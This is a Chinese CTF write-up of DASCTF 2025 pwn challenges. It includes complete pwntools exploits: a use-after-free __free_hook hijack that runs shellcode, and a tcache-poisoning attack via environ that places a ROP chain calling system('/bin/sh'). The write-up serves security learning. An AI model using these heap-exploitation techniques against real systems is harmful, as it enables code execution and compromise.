DASCTF 2025 下半年赛-PWN方向赛后复现

rcms

解题思路

这道题增删查改四大功能都有,存在UAF 和 后门函数gift(),虽然题目没给libc,但我试出来远端靶机是ubuntu18的环境,用libc6_2.27-3ubuntu1.6_amd64可以打通。

利用UAF打free_hook劫持到gift(),输入shellcode就行,注意程序开启了沙箱。

1
2
3
4
5
6
7
8
9
10
11
icyice@icyice-virtual-machine:~/Desktop/刷的上一道题/DAS/rcm
$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

浅浅说一下我试出远程靶机是ubuntu18的过程(因为其实做堆题没libc真挺难受的):在IDA里可以看到附加中出现了__libc_csu_init(),而__libc_csu_init()__libc_csu_fini() 这两个函数(及其所在的 elf-init.c 文件)构成了一个被称为 “CSU gadget” 的代码序列,从glibc 2.34此版本开始,动态链接的程序默认不再需要__libc_csu_init/fini,所以猜测出题人的环境应该是在ubuntu20或18、16,我先试了一下ubuntu16再试了ubuntu18就幸运地找到可以打远端的 libc。

我自己能意识到这一点还是因为前不久出自己学校招新赛的pwn题时才发现的。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("node5.buuoj.cn", 29257)
libc = ELF("./lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

def add(idx, size, content=b"a"):
sla(b"5.exit", b"1")
sla(b":", str(idx))
sla(b":", str(size))
sa(b":", content)
def free(idx):
sla(b"5.exit", b"2")
sla(b":", str(idx))
def edit(idx, content):
sla(b"5.exit", b"3")
sla(b":", str(idx))
sa(b":", content)
def show(idx):
sla(b"5.exit", b"4")
sla(b":\n", str(idx))

add(0, 0x60)
add(1, 0x60)
free(0)
free(1)
show(1)
heap_gift = u64(r(6).ljust(8, b"\x00")) - 0x12a0 + 0x260
ls(heap_gift)
add(2, 0x420)
add(3, 0x10)
free(2)
show(2)
libc_base = u64(r(6).ljust(8, b"\x00")) - 0x3ebca0
ls(libc_base)
free_hook = libc_base + libc.sym['__free_hook']
edit(1, p64(heap_gift))
add(4, 0x60, p8(0xD8))
add(5, 0x60, p8(0xD8))
show(5)
gift = u64(r(6).ljust(8, b"\x00"))
ls(gift)

add(6, 0x50)
add(7, 0x50)
free(6)
free(7)
edit(7, p64(free_hook))
add(8, 0x50)
add(9, 0x50)
edit(9, p64(gift))
free(8)
shellcode = asm(shellcraft.cat("./flag"))
sa(b"me?", shellcode)
ia()

CV_Manager

解题思路

(Ubuntu GLIBC 2.35-0ubuntu3.8),增删查改四大功能齐全,存在一次性的UAF,程序进入先有一个登录,username:r00t;passwrd:p9s3w0r6(密码”s3BPcTsMszo=”是一个换表的base64编码)。

利用好唯一的一次UAF,泄露libc_baseheap_base,通过environ泄露出栈地址,根据相对偏移计算出edit()函数中 read()的return_addr来拿shell(这一技巧还是看zer00ne师傅的脚本学到的,比赛时却苦于Canary绕不过,尝试攻击environ拿到stack地址后没办法劫持程序的控制流)。

讲一下脚本里的这一行:

1
stack = u64(r(8)) - 0x160 - 0x28 

-0x28 有两个原因,一是为了满足chunk 的地址要求 16 字节对齐(x86-64),二是如果减 0x8,那么chunk分配出来则会使rip = 0,减0x18则会使rbp = 0 ,后面会报错。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./pwn")
#io = remote("node5.buuoj.cn", 28561)
libc = ELF("./libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

def login():
sla(b"username:", b"r00t")
sla(b"password:", b"p9s3w0r6")
def add(size, name='CCTTFFEERR!!'):
sla(b"choice:", b"1")
sla(b"length:", str(size))
sa(b"name:", str(name))
def edit(idx,content):
sla(b"choice:", b"2")
sla(b"modify:", str(idx))
sa(b"yourself:", content)
def free(idx):
sla(b"choice:", b"3")
sla(b"remove:", str(idx))
def show(idx):
sla(b"choice:", b"4")
sla(b"view:", str(idx))
ru(b"introduction:")
def door(idx):
sla(b"choice:", b"666")
sla(b"index:\n", str(idx))

login()

for _ in range(7):
add(0x100) #0-6

add(0x100) #7
add(0x100) #8
add(0x100) #9
add(0x100) #10

for i in range(7):
free(i) #0-6

door(7)
show(7)
libc_base = u64(r(8)) - 0x21ace0
ls(libc_base)
free(9)
show(7)
r(8)
heap_base = u64(r(8)) - 0xc20
ls(heap_base)
environ = libc_base + libc.sym['_environ']
fd = (heap_base >> 12) ^ environ

for _ in range(9):
add(0x100) #0-6,9,11(7)

free(9)
free(11)
edit(7, p64(fd))
add(0x100) #9(7)
add(0x100) #11
show(11)
stack = u64(r(8)) - 0x160 - 0x28
ls(stack)
fd = (heap_base >> 12) ^ stack
free(0)
free(9)

edit(7, p64(fd))
add(0x100) #0(7)
#debug()
add(0x100) #9

bin_sh = libc_base + next(libc.search("/bin/sh"))
pop_rdi = libc_base + 0x2a3e5
system = libc_base + libc.sym['system']
payload = b'a'*(0x28)+ p64(pop_rdi+1) + p64(pop_rdi) + p64(bin_sh) + p64(system)
edit(9, payload)
ia()

mvmp

vm_pwn现在没学,WP看不明白,复现不了,后面补上

[DASCTF 2025下半年赛 WriteUp by 0psu3 | 0psu3-Team](https://0psu3.team/2025/12/07/DASCTF 2025下半年赛-WriteUp by 0psu3/#mvmp)(可以膜拜一下)

末言

回顾比赛,一如既往的坐牢,比赛开始时,拿到rcms题的附件里没libc文件,以为是不需要libc文件也能做,结果搞几个小时都没办法;CV_Manager是glibc-2.34,想的打environ或IO,但是因为技术不行,打environ绕不过Canary,打IO卡住,做不出来;mvmp是没学过的vm_pwn,最后是没办法了才去试第一题的glibc,还是菜就多练啊。

最后在自己的corner里放一张结果: